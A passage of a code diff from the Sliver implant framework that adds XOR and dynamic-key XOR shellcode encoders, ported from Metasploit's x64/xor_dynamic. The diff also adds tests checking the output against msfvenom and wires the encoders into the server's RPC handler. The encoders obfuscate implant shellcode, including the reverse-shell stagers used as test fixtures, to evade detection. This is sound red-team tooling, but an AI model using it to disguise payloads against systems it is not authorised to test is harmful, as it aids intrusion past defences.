binary.LittleEndian.PutUint32(stub[offset:offset+4], value)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,283 @@
|
||||
package amd64
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
------------------------------------------------------------------------
|
||||
|
||||
Based on the Metasploit x64/xor_dynamic encoder by lupman, phra
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/moloch--/go-keystone"
|
||||
)
|
||||
|
||||
const (
|
||||
xorDynamicKeyPlaceholder = 0x41
|
||||
xorDynamicPayloadPlaceholder = 0x42
|
||||
xorDynamicStubSize = 46
|
||||
)
|
||||
|
||||
var xorDynamicBadchars = map[byte]bool{
|
||||
0x00: true,
|
||||
0x0a: true,
|
||||
0x0d: true,
|
||||
}
|
||||
|
||||
// XorDynamic encodes an amd64 payload using the Metasploit x64/xor_dynamic scheme.
|
||||
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
|
||||
// encoder constraints, those are used verbatim.
|
||||
func XorDynamic(data []byte, key []byte) ([]byte, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: empty key")
|
||||
}
|
||||
|
||||
coreKey := key
|
||||
var keyTerm byte
|
||||
var payloadTerm []byte
|
||||
|
||||
encoded := xorDynamicEncode(data, key)
|
||||
explicit := false
|
||||
|
||||
if candidateKey, candidateKeyTerm, candidatePayloadTerm, ok := splitExplicitTerms(data, key); ok {
|
||||
coreKey = candidateKey
|
||||
keyTerm = candidateKeyTerm
|
||||
payloadTerm = candidatePayloadTerm
|
||||
encoded = xorDynamicEncode(data, coreKey)
|
||||
explicit = true
|
||||
}
|
||||
|
||||
if containsBadchars(coreKey, xorDynamicBadchars) {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: key contains badchars")
|
||||
}
|
||||
|
||||
if !explicit {
|
||||
var err error
|
||||
keyTerm, err = selectKeyTerm(coreKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
payloadTerm, err = selectPayloadTerm(encoded)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
if bytes.IndexByte(coreKey, keyTerm) != -1 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: key contains key terminator")
|
||||
}
|
||||
if bytes.Contains(encoded, payloadTerm) {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: encoded payload contains payload terminator")
|
||||
}
|
||||
}
|
||||
|
||||
stub, err := buildXorDynamicStub(keyTerm, payloadTerm)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
final := make([]byte, 0, len(stub)+len(coreKey)+1+len(encoded)+len(payloadTerm))
|
||||
final = append(final, stub...)
|
||||
final = append(final, coreKey...)
|
||||
final = append(final, keyTerm)
|
||||
final = append(final, encoded...)
|
||||
final = append(final, payloadTerm...)
|
||||
|
||||
if containsBadchars(final, xorDynamicBadchars) {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: badchars present in output")
|
||||
}
|
||||
|
||||
return final, nil
|
||||
}
|
||||
|
||||
func xorDynamicEncode(data []byte, key []byte) []byte {
|
||||
encoded := make([]byte, len(data))
|
||||
for i := range data {
|
||||
encoded[i] = data[i] ^ key[i%len(key)]
|
||||
}
|
||||
return encoded
|
||||
}
|
||||
|
||||
func splitExplicitTerms(data []byte, key []byte) ([]byte, byte, []byte, bool) {
|
||||
if len(key) < 4 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
candidateKey := key[:len(key)-3]
|
||||
if len(candidateKey) == 0 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
keyTerm := key[len(key)-3]
|
||||
payloadTerm := key[len(key)-2:]
|
||||
|
||||
if xorDynamicBadchars[keyTerm] || xorDynamicBadchars[payloadTerm[0]] || xorDynamicBadchars[payloadTerm[1]] {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
if bytes.IndexByte(candidateKey, keyTerm) != -1 {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
if containsBadchars(candidateKey, xorDynamicBadchars) {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
encoded := xorDynamicEncode(data, candidateKey)
|
||||
if bytes.Contains(encoded, payloadTerm) {
|
||||
return nil, 0, nil, false
|
||||
}
|
||||
|
||||
return candidateKey, keyTerm, append([]byte{}, payloadTerm...), true
|
||||
}
|
||||
|
||||
func selectKeyTerm(key []byte) (byte, error) {
|
||||
for _, b := range allowedDynamicChars() {
|
||||
if bytes.IndexByte(key, b) == -1 {
|
||||
return b, nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("xor_dynamic encoder: key terminator not found")
|
||||
}
|
||||
|
||||
func selectPayloadTerm(encoded []byte) ([]byte, error) {
|
||||
allowed := allowedDynamicChars()
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
term := []byte{first, second}
|
||||
if !bytes.Contains(encoded, term) {
|
||||
return term, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
|
||||
}
|
||||
|
||||
func allowedDynamicChars() []byte {
|
||||
allowed := make([]byte, 0, 255)
|
||||
for i := 1; i <= 255; i++ {
|
||||
b := byte(i)
|
||||
if xorDynamicBadchars[b] {
|
||||
continue
|
||||
}
|
||||
allowed = append(allowed, b)
|
||||
}
|
||||
return allowed
|
||||
}
|
||||
|
||||
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
|
||||
if len(payloadTerm) != 2 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 bytes")
|
||||
}
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
|
||||
if err := engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
src := strings.Join([]string{
|
||||
".code64",
|
||||
"jmp _call",
|
||||
"_ret:",
|
||||
"pop rbx",
|
||||
"push rbx",
|
||||
"pop rdi",
|
||||
"mov al, 0x41",
|
||||
"cld",
|
||||
"_lp1:",
|
||||
"scasb",
|
||||
"jne _lp1",
|
||||
"push rdi",
|
||||
"pop rcx",
|
||||
"_lp2:",
|
||||
"push rbx",
|
||||
"pop rsi",
|
||||
"_lp3:",
|
||||
"mov al, byte ptr [rsi]",
|
||||
"xor byte ptr [rdi], al",
|
||||
"inc rdi",
|
||||
"inc rsi",
|
||||
"cmp word ptr [rdi], 0x4242",
|
||||
"je _jmp",
|
||||
"cmp byte ptr [rsi], 0x41",
|
||||
"jne _lp3",
|
||||
"jmp _lp2",
|
||||
"_jmp:",
|
||||
"jmp rcx",
|
||||
"_call:",
|
||||
"call _ret",
|
||||
}, "\n")
|
||||
|
||||
inst, err := engine.Assemble(src, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(inst) != xorDynamicStubSize {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
|
||||
}
|
||||
|
||||
keyReplaced := 0
|
||||
for i := range inst {
|
||||
if inst[i] == xorDynamicKeyPlaceholder {
|
||||
inst[i] = keyTerm
|
||||
keyReplaced++
|
||||
}
|
||||
}
|
||||
if keyReplaced == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: key placeholder not found")
|
||||
}
|
||||
|
||||
payloadReplaced := 0
|
||||
for i := 0; i+1 < len(inst); i++ {
|
||||
if inst[i] == xorDynamicPayloadPlaceholder && inst[i+1] == xorDynamicPayloadPlaceholder {
|
||||
inst[i] = payloadTerm[0]
|
||||
inst[i+1] = payloadTerm[1]
|
||||
payloadReplaced++
|
||||
i++
|
||||
}
|
||||
}
|
||||
if payloadReplaced == 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: payload placeholder not found")
|
||||
}
|
||||
|
||||
if containsBadchars(inst, xorDynamicBadchars) {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: badchars present in stub")
|
||||
}
|
||||
|
||||
return inst, nil
|
||||
}
|
||||
|
||||
func containsBadchars(data []byte, badchars map[byte]bool) bool {
|
||||
for _, b := range data {
|
||||
if badchars[b] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
package amd64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestXorDynamicEncoderMatchesMSFVenom(t *testing.T) {
|
||||
if _, err := exec.LookPath("msfvenom"); err != nil {
|
||||
t.Skipf("msfvenom not available: %v", err)
|
||||
}
|
||||
if !keystoneAvailable() {
|
||||
t.Skip("keystone assembler not available")
|
||||
}
|
||||
|
||||
fixtures, err := fs.Glob(xorFixtures, "testdata/*.bin")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to list fixtures: %v", err)
|
||||
}
|
||||
if len(fixtures) == 0 {
|
||||
t.Fatal("no xor fixtures found")
|
||||
}
|
||||
|
||||
home := t.TempDir()
|
||||
primeMSFVenom(t, home)
|
||||
|
||||
for _, name := range fixtures {
|
||||
name := name
|
||||
t.Run(filepath.Base(name), func(t *testing.T) {
|
||||
payload, err := xorFixtures.ReadFile(name)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read fixture %s: %v", name, err)
|
||||
}
|
||||
if len(payload) == 0 {
|
||||
t.Fatalf("fixture %s is empty", name)
|
||||
}
|
||||
|
||||
platform, err := platformFromFixture(name)
|
||||
if err != nil {
|
||||
t.Fatalf("fixture %s: %v", name, err)
|
||||
}
|
||||
|
||||
msfEncoded := msfvenomEncode(t, home, payload, platform, "x64/xor_dynamic")
|
||||
key, keyTerm, payloadTerm, err := extractXorDynamicParams(msfEncoded)
|
||||
if err != nil {
|
||||
t.Fatalf("fixture %s: %v", name, err)
|
||||
}
|
||||
|
||||
keyWithTerms := make([]byte, 0, len(key)+3)
|
||||
keyWithTerms = append(keyWithTerms, key...)
|
||||
keyWithTerms = append(keyWithTerms, keyTerm)
|
||||
keyWithTerms = append(keyWithTerms, payloadTerm...)
|
||||
|
||||
encoded, err := XorDynamic(payload, keyWithTerms)
|
||||
if err != nil {
|
||||
t.Fatalf("fixture %s: XorDynamic failed: %v", name, err)
|
||||
}
|
||||
|
||||
if !bytes.Equal(encoded, msfEncoded) {
|
||||
diff := firstDiff(encoded, msfEncoded)
|
||||
t.Fatalf("fixture %s: output mismatch at byte %d (got=%d, msf=%d)", name, diff, len(encoded), len(msfEncoded))
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func extractXorDynamicParams(encoded []byte) ([]byte, byte, []byte, error) {
|
||||
if len(encoded) < xorDynamicStubSize+3 {
|
||||
return nil, 0, nil, fmt.Errorf("xor_dynamic output too short")
|
||||
}
|
||||
|
||||
stub := encoded[:xorDynamicStubSize]
|
||||
keyTerm, payloadTerm, err := extractXorDynamicTerms(stub)
|
||||
if err != nil {
|
||||
return nil, 0, nil, err
|
||||
}
|
||||
|
||||
rest := encoded[xorDynamicStubSize:]
|
||||
keyEnd := bytes.IndexByte(rest, keyTerm)
|
||||
if keyEnd == -1 {
|
||||
return nil, 0, nil, fmt.Errorf("xor_dynamic: key terminator not found in payload")
|
||||
}
|
||||
|
||||
key := rest[:keyEnd]
|
||||
if len(key) == 0 {
|
||||
return nil, 0, nil, fmt.Errorf("xor_dynamic: empty key in payload")
|
||||
}
|
||||
|
||||
if len(rest) < keyEnd+1+2 {
|
||||
return nil, 0, nil, fmt.Errorf("xor_dynamic: payload missing terminator")
|
||||
}
|
||||
|
||||
if len(rest) < 2 || !bytes.HasSuffix(rest, payloadTerm) {
|
||||
return nil, 0, nil, fmt.Errorf("xor_dynamic: payload terminator mismatch")
|
||||
}
|
||||
|
||||
return key, keyTerm, payloadTerm, nil
|
||||
}
|
||||
|
||||
func extractXorDynamicTerms(stub []byte) (byte, []byte, error) {
|
||||
movIdx := bytes.Index(stub, []byte{0xB0})
|
||||
if movIdx == -1 || movIdx+1 >= len(stub) {
|
||||
return 0, nil, fmt.Errorf("xor_dynamic: mov al not found in stub")
|
||||
}
|
||||
keyTerm := stub[movIdx+1]
|
||||
|
||||
cmpIdx := bytes.Index(stub, []byte{0x80, 0x3E})
|
||||
if cmpIdx == -1 || cmpIdx+2 >= len(stub) {
|
||||
return 0, nil, fmt.Errorf("xor_dynamic: cmp byte not found in stub")
|
||||
}
|
||||
if stub[cmpIdx+2] != keyTerm {
|
||||
return 0, nil, fmt.Errorf("xor_dynamic: stub key terminator mismatch")
|
||||
}
|
||||
|
||||
termIdx := bytes.Index(stub, []byte{0x66, 0x81, 0x3F})
|
||||
if termIdx == -1 || termIdx+4 >= len(stub) {
|
||||
return 0, nil, fmt.Errorf("xor_dynamic: cmp word not found in stub")
|
||||
}
|
||||
|
||||
payloadTerm := []byte{stub[termIdx+3], stub[termIdx+4]}
|
||||
return keyTerm, payloadTerm, nil
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
package amd64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/moloch--/go-keystone"
|
||||
)
|
||||
|
||||
//go:embed testdata/*.bin
|
||||
var xorFixtures embed.FS
|
||||
|
||||
func TestXorEncoderMatchesMSFVenom(t *testing.T) {
|
||||
if _, err := exec.LookPath("msfvenom"); err != nil {
|
||||
t.Skipf("msfvenom not available: %v", err)
|
||||
}
|
||||
if !keystoneAvailable() {
|
||||
t.Skip("keystone assembler not available")
|
||||
}
|
||||
|
||||
fixtures, err := fs.Glob(xorFixtures, "testdata/*.bin")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to list fixtures: %v", err)
|
||||
}
|
||||
if len(fixtures) == 0 {
|
||||
t.Fatal("no xor fixtures found")
|
||||
}
|
||||
|
||||
home := t.TempDir()
|
||||
primeMSFVenom(t, home)
|
||||
|
||||
for _, name := range fixtures {
|
||||
name := name
|
||||
t.Run(filepath.Base(name), func(t *testing.T) {
|
||||
payload, err := xorFixtures.ReadFile(name)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read fixture %s: %v", name, err)
|
||||
}
|
||||
if len(payload) == 0 {
|
||||
t.Fatalf("fixture %s is empty", name)
|
||||
}
|
||||
|
||||
platform, err := platformFromFixture(name)
|
||||
if err != nil {
|
||||
t.Fatalf("fixture %s: %v", name, err)
|
||||
}
|
||||
|
||||
msfEncoded := msfvenomEncode(t, home, payload, platform, "x64/xor")
|
||||
key, err := extractMSFKey(msfEncoded)
|
||||
if err != nil {
|
||||
t.Fatalf("fixture %s: %v", name, err)
|
||||
}
|
||||
|
||||
encoded, err := Xor(payload, key)
|
||||
if err != nil {
|
||||
t.Fatalf("fixture %s: Xor failed: %v", name, err)
|
||||
}
|
||||
|
||||
if !bytes.Equal(encoded, msfEncoded) {
|
||||
diff := firstDiff(encoded, msfEncoded)
|
||||
t.Fatalf("fixture %s: output mismatch at byte %d (got=%d, msf=%d)", name, diff, len(encoded), len(msfEncoded))
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func keystoneAvailable() bool {
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
_ = engine.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
func msfvenomEncode(t *testing.T, home string, payload []byte, platform string, encoder string) []byte {
|
||||
t.Helper()
|
||||
|
||||
outFile, err := os.CreateTemp(home, "msf-xor-*.bin")
|
||||
if err != nil {
|
||||
t.Fatalf("msfvenom temp file: %v", err)
|
||||
}
|
||||
outPath := outFile.Name()
|
||||
_ = outFile.Close()
|
||||
defer func() { _ = os.Remove(outPath) }()
|
||||
|
||||
cmd := exec.Command("msfvenom",
|
||||
"-p", "-",
|
||||
"-a", "x64",
|
||||
"--platform", platform,
|
||||
"-e", encoder,
|
||||
"-i", "1",
|
||||
"-f", "raw",
|
||||
"-o", outPath,
|
||||
)
|
||||
cmd.Env = append(os.Environ(), "HOME="+home)
|
||||
cmd.Stdin = bytes.NewReader(payload)
|
||||
|
||||
var stderr bytes.Buffer
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
t.Fatalf("msfvenom failed: %v (stderr=%s)", err, strings.TrimSpace(stderr.String()))
|
||||
}
|
||||
|
||||
encoded, err := os.ReadFile(outPath)
|
||||
if err != nil {
|
||||
t.Fatalf("msfvenom read output: %v", err)
|
||||
}
|
||||
if len(encoded) == 0 {
|
||||
t.Fatalf("msfvenom produced empty output (stderr=%s)", strings.TrimSpace(stderr.String()))
|
||||
}
|
||||
return encoded
|
||||
}
|
||||
|
||||
func primeMSFVenom(t *testing.T, home string) {
|
||||
t.Helper()
|
||||
|
||||
cmd := exec.Command("msfvenom", "-l", "encoders")
|
||||
cmd.Env = append(os.Environ(), "HOME="+home)
|
||||
cmd.Stdin = bytes.NewReader(nil)
|
||||
|
||||
var stderr bytes.Buffer
|
||||
var stdout bytes.Buffer
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
t.Fatalf("msfvenom init failed: %v (stderr=%s)", err, strings.TrimSpace(stderr.String()))
|
||||
}
|
||||
}
|
||||
|
||||
func extractMSFKey(encoded []byte) ([]byte, error) {
|
||||
keyOffset := bytes.Index(encoded, []byte{0x48, 0xBB})
|
||||
if keyOffset == -1 || keyOffset+10 > len(encoded) {
|
||||
return nil, fmt.Errorf("failed to locate xor key in msf output")
|
||||
}
|
||||
key := make([]byte, xorKeySize)
|
||||
copy(key, encoded[keyOffset+2:keyOffset+10])
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func platformFromFixture(name string) (string, error) {
|
||||
base := filepath.Base(name)
|
||||
switch {
|
||||
case strings.HasPrefix(base, "linux-"):
|
||||
return "linux", nil
|
||||
case strings.HasPrefix(base, "windows-"):
|
||||
return "windows", nil
|
||||
default:
|
||||
return "", fmt.Errorf("unknown platform for fixture %s", base)
|
||||
}
|
||||
}
|
||||
|
||||
func firstDiff(a, b []byte) int {
|
||||
min := len(a)
|
||||
if len(b) < min {
|
||||
min = len(b)
|
||||
}
|
||||
for i := 0; i < min; i++ {
|
||||
if a[i] != b[i] {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return min
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
# server/sgn
|
||||
# server/encoders/shellcode/sgn
|
||||
|
||||
## Overview
|
||||
|
||||
@@ -27,7 +27,7 @@ These options mirror the upstream CLI flags so server-side tasks can reuse the s
|
||||
Shellcode fixtures used by the unit tests live under `testdata/` with a `.bin` extension. They are produced via `msfvenom` using a dedicated Go generator:
|
||||
|
||||
```bash
|
||||
go generate ./server/sgn
|
||||
go generate ./server/encoders/shellcode/sgn
|
||||
```
|
||||
|
||||
The generator invokes `msfvenom` three times (reverse TCP/HTTP stagers and an exec payload) and writes raw shellcode into the `testdata` directory. Ensure the Metasploit framework is installed and `msfvenom` is on `$PATH` before running the generation step.
|
||||
@@ -40,7 +40,7 @@ The log subsystem expects a writable Sliver root directory. Point it to a tempor
|
||||
export SLIVER_ROOT_DIR=$(pwd)/.tmp-sliver
|
||||
export GOCACHE=$(pwd)/.tmp-gocache
|
||||
mkdir -p "$SLIVER_ROOT_DIR" "$GOCACHE"
|
||||
go test ./server/sgn
|
||||
go test ./server/encoders/shellcode/sgn
|
||||
```
|
||||
|
||||
The test suite focuses on option wiring and constraint helpers rather than the full stochastic encoding pipeline.
|
||||
File renamed without changes.
File renamed without changes.
@@ -37,8 +37,6 @@ var (
|
||||
|
||||
// SGNConfig - Configuration for sgn
|
||||
type SGNConfig struct {
|
||||
AppDir string
|
||||
|
||||
Architecture string // Binary architecture (32/64) (default 32)
|
||||
Asci bool // Generates a full ASCI printable payload (takes very long time to bruteforce)
|
||||
BadChars []byte // Don't use specified bad characters given in hex format (\x00\x01\x02...)
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,99 @@
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/amd64"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
type ShellcodeEncoderArgs struct {
|
||||
Iterations int
|
||||
BadChars []byte
|
||||
}
|
||||
|
||||
type ShellcodeEncoder interface {
|
||||
Description() string
|
||||
Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error)
|
||||
}
|
||||
|
||||
type XorEncoder struct{}
|
||||
|
||||
func (e *XorEncoder) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
iterations := args.Iterations
|
||||
if iterations <= 0 {
|
||||
iterations = 1
|
||||
}
|
||||
for i := 0; i < iterations; i++ {
|
||||
key, err := amd64.XorKeyGen()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encoded, err := amd64.Xor(data, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data = encoded
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (e *XorEncoder) Description() string {
|
||||
return "Basic XOR encoder for AMD64"
|
||||
}
|
||||
|
||||
type XorDynamicEncoder struct{}
|
||||
|
||||
func (e *XorDynamicEncoder) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
iterations := args.Iterations
|
||||
if iterations <= 0 {
|
||||
iterations = 1
|
||||
}
|
||||
for i := 0; i < iterations; i++ {
|
||||
key, err := amd64.XorDynamicKeyGen()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encoded, err := amd64.XorDynamic(data, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data = encoded
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (e *XorDynamicEncoder) Description() string {
|
||||
return "An x64 XOR encoder with dynamic key size for AMD64"
|
||||
}
|
||||
|
||||
type ShikataGaNaiEncoderAmd64 struct{}
|
||||
|
||||
func (e *ShikataGaNaiEncoderAmd64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
return sgn.EncodeShellcode(data, "amd64", args.Iterations, args.BadChars)
|
||||
}
|
||||
|
||||
func (e *ShikataGaNaiEncoderAmd64) Description() string {
|
||||
return "Shikata Ga Nai encoder for AMD64"
|
||||
}
|
||||
|
||||
type ShikataGaNaiEncoder386 struct{}
|
||||
|
||||
func (e *ShikataGaNaiEncoder386) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
return sgn.EncodeShellcode(data, "386", args.Iterations, args.BadChars)
|
||||
}
|
||||
|
||||
func (e *ShikataGaNaiEncoder386) Description() string {
|
||||
return "Shikata Ga Nai encoder for 386"
|
||||
}
|
||||
|
||||
var (
|
||||
ShellcodeEncoders = map[string]map[string]ShellcodeEncoder{
|
||||
"amd64": {
|
||||
"xor": &XorEncoder{},
|
||||
"xor_dynamic": &XorDynamicEncoder{},
|
||||
"shikata_ga_nai": &ShikataGaNaiEncoderAmd64{},
|
||||
},
|
||||
"386": {
|
||||
"shikata_ga_nai": &ShikataGaNaiEncoder386{},
|
||||
},
|
||||
}
|
||||
)
|
||||
@@ -28,7 +28,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/sgn"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
+128
-18
@@ -21,33 +21,84 @@ package rpc
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/server/sgn"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
)
|
||||
|
||||
var shellcodeEncoderNames = map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}
|
||||
|
||||
var shellcodeEncoderEnums = map[string]clientpb.ShellcodeEncoder{
|
||||
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
"xor": clientpb.ShellcodeEncoder_XOR,
|
||||
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
|
||||
}
|
||||
|
||||
// ShellcodeEncode - Encode a piece shellcode
|
||||
func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
|
||||
|
||||
resp := &clientpb.ShellcodeEncode{Response: &commonpb.Response{}}
|
||||
var err error
|
||||
|
||||
switch req.Encoder {
|
||||
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
|
||||
rpcLog.Infof("[rpc] Shellcode encoder request for: SHIKATA_GA_NAI")
|
||||
rpcLog.Infof("[rpc] Encoding shellcode (%d bytes) for architecture %s with %d iterations and badchars: %v", len(req.Data), req.Architecture, req.Iterations, req.BadChars)
|
||||
resp.Data, err = sgn.EncodeShellcode(req.Data, req.Architecture, int(req.Iterations), req.BadChars)
|
||||
if err != nil {
|
||||
rpcLog.Errorf("[rpc] Failed to encode shellcode: %v", err)
|
||||
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
|
||||
}
|
||||
default:
|
||||
resp.Response.Err = "Unknown encoder"
|
||||
if req == nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "missing request")
|
||||
}
|
||||
|
||||
if req.Encoder == clientpb.ShellcodeEncoder_NONE {
|
||||
resp.Data = req.Data
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
encoderName, ok := shellcodeEncoderNames[req.Encoder]
|
||||
if !ok {
|
||||
resp.Response.Err = "Unknown encoder"
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
arch := normalizeShellcodeArch(req.Architecture)
|
||||
if arch == "" {
|
||||
arch = defaultShellcodeArch(encoderName)
|
||||
}
|
||||
if arch == "" {
|
||||
resp.Response.Err = "Unknown architecture"
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
encoderArchs := shellcode.ShellcodeEncoders[arch]
|
||||
if encoderArchs == nil {
|
||||
resp.Response.Err = fmt.Sprintf("Unknown architecture: %s", arch)
|
||||
return resp, nil
|
||||
}
|
||||
encoder := encoderArchs[encoderName]
|
||||
if encoder == nil {
|
||||
resp.Response.Err = fmt.Sprintf("Encoder %s not supported for architecture %s", encoderName, arch)
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
iterations := int(req.Iterations)
|
||||
if iterations <= 0 {
|
||||
iterations = 1
|
||||
}
|
||||
|
||||
rpcLog.Infof("[rpc] Shellcode encoder request for: %s (%s)", encoderName, arch)
|
||||
rpcLog.Infof("[rpc] Encoding shellcode (%d bytes) for architecture %s with %d iterations and badchars: %v", len(req.Data), arch, iterations, req.BadChars)
|
||||
encoded, err := encoder.Encode(req.Data, shellcode.ShellcodeEncoderArgs{
|
||||
Iterations: iterations,
|
||||
BadChars: req.BadChars,
|
||||
})
|
||||
if err != nil {
|
||||
rpcLog.Errorf("[rpc] Failed to encode shellcode: %v", err)
|
||||
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
|
||||
}
|
||||
resp.Data = encoded
|
||||
|
||||
rpcLog.Infof("[rpc] Successfully encoded shellcode (%d bytes)", len(resp.Data))
|
||||
|
||||
return resp, nil
|
||||
@@ -56,10 +107,69 @@ func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.Shellcode
|
||||
// ShellcodeEncoderMap - Get a map of support shellcode encoders <human readable/enum>
|
||||
func (rpc *Server) ShellcodeEncoderMap(ctx context.Context, _ *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
resp := &clientpb.ShellcodeEncoderMap{
|
||||
Encoders: map[string]clientpb.ShellcodeEncoder{
|
||||
// Human Readable: enum value
|
||||
